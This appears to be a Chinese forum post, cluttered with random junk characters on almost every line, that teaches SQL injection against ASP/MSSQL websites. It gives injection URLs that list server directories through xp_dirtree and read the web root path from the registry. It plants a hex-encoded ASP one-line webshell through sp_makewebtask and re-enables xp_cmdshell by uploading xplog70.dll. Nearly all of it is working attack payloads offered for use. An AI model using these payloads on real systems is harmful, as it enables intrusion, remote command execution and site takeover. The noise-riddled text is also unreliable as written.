好,我们exec master..xp_dirtree'd:/test'3 n+ T9 i4 @4 f+ b0 p
假设我们在test里有两个文件夹test1和test2在test1里又有test37 @$ c: @8 J% V4 [, j7 d% J
结果显示( Q& r1 V$ D Q9 h7 Z
/ R# y* |4 v1 j4 Esubdirectory depth
' z! ?9 c3 J. ?3 ^# otest1 1; X: ~" R5 q' I2 Z/ N! a
test3 28 S( S5 b$ J+ t. d; C6 K4 I$ U
test2 1, u2 H/ X' ? ]" Z
7 z# L" z3 x8 S
哈哈发现没有那个depth就是目录的级数) r: [6 J7 S* J
ok了,知道怎么办了吧3 s. Q+ T. F p5 i5 Q
" c! R$ f- \2 P G
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
% Q& l: }5 Q/ j2 X1 Y# |. U* \6 ?: Rhttp://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
5 F/ W- }+ b. M( E. bhttp://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-
9 ~* e# q$ r5 n- j+ p( W4 b- |7 j: Y* H. g( E0 x7 x6 O
只要加上id=1,就是第一级目录 。0 X3 @ s: Y3 m5 \
4 z% W7 |7 G' e# O# ?, ~! F
6 R0 w3 X( d+ r7 ^: I7 H M通过注册表读网站路径:
, w0 N# B S/ i1 B# b% n6 v
@) \" I$ J. P( M1.;create table [dbo].[cyfd] ([gyfd][char](255));4 e$ y! F% U4 `3 l" D
: f0 ]; ?+ V( o" h: v% a/ F' u
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--. |1 T! y- D+ Y+ [4 m& [
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--
* z+ i" p+ Q1 h0 U+ Z6 E6 ], j% d) c# I( ?' h8 h5 v7 ]
3.and 1=(select count(*) from 临时表 where 临时字段名>1)
% x3 I Q, {3 Q' r0 W5 Nand 1=(select count(*) from cyfd where gyfd > 1)
; j1 M# G7 w9 {) R这样IE报错,就把刚才插进去的Web路径的值报出来了0 [' o6 q- W; k$ S, ?' w
7 O- K3 h. ~; S1 Z; E" V! J W. R8 U
4.drop table cyfd;-- 删除临时表
+ I+ R+ x; g" r- P1 B6 V
. d! j. }9 i5 D8 j获得webshell方法:
- O. V! ?: i: |2 j1.create table cmd (a image)-- \**cmd是创建的临时表 s$ V) t$ @5 D6 V* [: F! X7 S
; z& F! d2 X- S2 X" X2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
; u9 o( W9 c9 v+ q3 C! w0 l+ U6 |& w+ n: ? p7 `
% R. d0 R7 A: g2 v4 k* e! t4 l3 w3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
& Y6 Z2 ?* `) L, N6 R- I7 ~EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'/ L4 ]# T8 b2 {% ~7 }
P+ I3 r+ B/ ]% k4.drop table cmd;-- 删除cmd临时表9 e9 ^' H3 a0 _
" ]& Z* W% T% u+ h' |3 d& X6 S
恢复xp_cmdshell方法之一:
, r& e+ u9 M* X1 J2 @5 G' Q. p我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:
1 x) M# G" D' lhttp://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'2 M. i1 Y- q6 x; A9 d: e3 r- ]
恢复,支持绝对路径的恢复哦。:)% ], D( }# r' ^- B8 i/ ?
|